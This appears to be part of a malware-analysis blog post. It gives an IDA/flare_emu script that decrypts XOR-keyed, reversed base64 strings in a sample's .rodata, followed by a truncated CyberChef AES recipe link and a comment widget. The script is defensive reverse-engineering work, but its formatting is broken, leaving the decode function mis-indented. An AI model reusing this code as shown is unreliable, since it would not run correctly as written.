# Modify 'decstr_addr' in in your case  
  
import flare_emu  
import base64  
import string  
  
def decode(cipher):
```

```

tmp = cipher[::-1] + b"=" * ((4 - len(cipher) % 4) )
out = bytearray()
for i, v in enumerate(base64.urlsafe_b64decode(tmp)):
    cha = v ^ key[i % len(key)]
    if chr(cha) in string.ascii_letters:
        cha ^= 0x20
    out.append(cha)
out += b"=" * ((4 - len(out) % 4) % 4)
return base64.urlsafe_b64decode(out)

def iterateCallback(eh, address, argv, userData):
    ro=ida_segment.get_segm_by_name(".rodata")

    if ro.start_ea <= argv[0] <=ro.end_ea:

        buff=eh.getEmuString(argv[0])
        if len(buff)>0:

            plain=decode(buff)
            print(hex(argv[0]),buff,"<=====>",plain)
            ida_bytes.put_bytes(argv[0],b'\x00'*len(buff))
            ida_bytes.put_bytes(argv[0],plain)

decstr_addr=0x0000FCD0
key=bytes.fromhex('43 72 61 63 6B 61 6C 61 63 6B 69 6E 27')
eh=flare_emu.EmuHelper()
eh.iterate(decstr_addr,iterateCallback)

```

CyberChef

[https://gchq.github.io/CyberChef/#recipe=AES_Decrypt\(%7B'option':'Hex','string':'2D](https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'2D)

What do you think?

10 Responses



Upvote



Funny



Love



Surprised



Angry



Sad

0 Comments

1 Login ▾

G

Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS

Name



Share

Best Newest Oldest